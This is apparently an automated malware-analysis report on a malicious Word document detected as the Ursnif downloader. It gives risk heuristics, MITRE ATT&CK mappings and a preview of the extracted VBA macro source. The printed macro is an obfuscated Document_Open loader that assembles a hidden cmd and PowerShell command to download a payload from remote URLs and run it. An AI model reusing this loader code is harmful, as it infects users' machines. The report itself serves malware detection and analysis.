MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the presence of a 'Document_Open' macro indicate that the VBA code is designed to execute commands. The script attempts to construct and execute a command using the Shell() function, likely to download and run a secondary payload, as suggested by the ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3'.
Heuristics 5
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ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4424 bytes |
SHA-256: a37988f0a973fa1d4f93fbb7b8626136bef77e77f87a22c07a6ca2f9b009e0e8 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "oQXkbEt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
VarType "342565335" + "LkUvzBNwL"
VarType "P" + "OvFuzh"
Shell AQDnsVR + ZPwRKttUBl + IPkPhYNCRUl, Format(vbHide)
VarType "5545" + "fjzWcuztVwv" + "f" + "H"
VarType "YrSrFoz" + "DXz"
VarType "NGjb" + "iFon"
End Sub
Attribute VB_Name = "uFcSjTiwL"
Function AQDnsVR()
On _
Error _
Resume _
Next
VarType "tphumzTm" + "629"
VarType "JwZL" + "30373400"
VarType "KKw" + "7262"
mTSZtRf = Format(Chr(6 + 11 + 2 + 1 + 79)) + "m" + "d /V" + "/" + Format(Chr(4 + 7 + 1 + 0 + 55)) + Format(Chr(1 + 3 + 0 + 0 + 30)) + "s^e" + "^t 8V7" + "v= ^ " + " " + "^ " + "^ ^ " + "^ ^ " + "^ ^ " + "^ ^"
VarType "tTInU" + "TTSJjP"
ZjzYvjSjmU = " ^}}{h" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "ta" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "^};" + "^k^a^er" + "^b" + "^" + ";" + "u" + "^A" + "^" + "P^$" + "^ " + "^m^et"
VarType "3709" + "rdIjJZfGZa" + "6304" + "GSpsV"
VarType "ats" + "YBWcmlCF" + "8023" + "L"
VarType "185510627" + "79288710"
VarType "499975727" + "Dj" + "48648390" + "TjY"
jRTiZp = "I^-" + "^ek" + "ovnI^" + ";)^u^A" + "^P$ ^," + "^I^st$(" + "^eliFd" + "^ao"
VarType "zmP" + "zsj" + "VwT" + "Nisw"
VarType "aki" + "QnGcQmHUslEcC"
VarType "9980" + "3461" + "R" + "O"
aLzjjAZtaw = "lnwo" + "D.O^" + "T" + "^i^${yr" + "^t{)" + "^F^" + "b" + "^" + "j^$" + " n^i I" + "s^t$(^h" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "aer^o^" + "f;^'^e^"
VarType "TRG" + "302626120"
VarType "ONpF" + "420947534" + "PN" + "44690314"
hGOwozWK = "xe.'^+" + "^Fh" + "O$^+'\" + "'^+" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "i" + "lbu^" + "p:vn^e" + "$^=^uAP" + "$^;'" + "42^9^'^" + " " + "=" + "^ ^F^hO"
VarType "3833" + "Ouvj" + "a" + "F"
VarType "94683346" + "206524840"
VarType "ziXz" + "YGjwuSGPT"
VarType "71395474" + "Az"
VarType "P" + "A"
HlIaiFCIWiI = "$^;" + ")" + "'^@" + "^" + "'(^" + "ti^l" + "^pS^." + "'n^kt" + ".2ag" + "ra" + "t=" + "l?^p^h^"
AQDnsVR = mTSZtRf + ZjzYvjSjmU + jRTiZp + aLzjjAZtaw + hGOwozWK + HlIaiFCIWiI
VarType "432770276" + "FRqNl"
End Function
Function ZPwRKttUBl()
On _
Error _
Resume _
Next
VarType "I" + "20497892"
VarType "9827" + "iOAJMd"
cAzvjjH = "p" + ".t^ok" + "snap^" + "o/TTR/^" + "m" + "o" + Format(Chr(6 + 11 + 2 + 1 + 79)) + ".^l^" + "1e" + "f^xz" + "il" + "bk^pf^" + "0^q//"
VarType "XCXB" + "dk"
VarType "zwDVViIOT" + "CinX"
VarType "cBvUf" + "233447952" + "sJLGPi" + "501469569"
VarType "JmJFNkmsml" + "soEbuW"
swKVtiEtYUp = ":p^t^t^" + "h^'^=^" + "F" + "^b" + "^j"
VarType "423744434" + "101380563"
VarType "monhQjf" + "M"
VarType "7803" + "Q" + "86727061" + "5261"
LRzjsWjXN = "^$^;^tn" + "e^il" + Format(Chr(4 + 7 + 1 + 0 + 55)) + "b" + "^eW." + "^t^e" + "N t" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "e^j" + "bo^-^we" + "n^" + "=O^" + "T^i^$ " + "^llehsr"
VarType "OA" + "AKjiGtRdaiYkzt"
VarType "JTLoMh" + "TalbSCkKo"
VarType "845" + "290987846"
VarType "SEGbl" + "hZRA" + "6715" + "K"
VarType "AkDu" + "7384221" + "2998" + "LNDs"
LaBbd = "^" + "ew^" + "o^" + "p&" + "&^f^" + "or /^" + "L "
VarType "43707913" + "iwmJ"
VarType "2762" + "JFniqAHC" + "186313717" + "FrS"
ZLiYaTjMLri = "%^O ^in" + " (^2^" + "65^,^-^" + "1" + ",0)^d^o" + " s^e" + "^" + "t ^Q^x"
ZPwRKttUBl = cAzvjjH + swKVtiEtYUp + LRzjsWjXN + LaBbd + ZLiYaTjMLri
VarType "H" + "KFdKNGj"
End Function
Function IPkPhYNCRUl()
On _
Error _
Resume _
Next
VarType "EfRwzEXk" + "312902016"
VarType "humLjjAIw" + "8566" + "wvuZ" + "9550"
VarType "493943833" + "uSsLKtW"
irwrVrsI = "6^I=" + "!^Q^x" + "6^I!!" + "8V7v" + ":~%" + "^O," + "1!" + "&&" + "^i^f" + " %^O ^" + "l^ss ^" + "1 " + Format(Chr(6 + 11 + 2 + 1 + 79)) + "^a"
VarType "v" + "1" + "87852501" + "HiLK"
IZqTMVkh = "^l^l %" + "^" + "Q
... (truncated)
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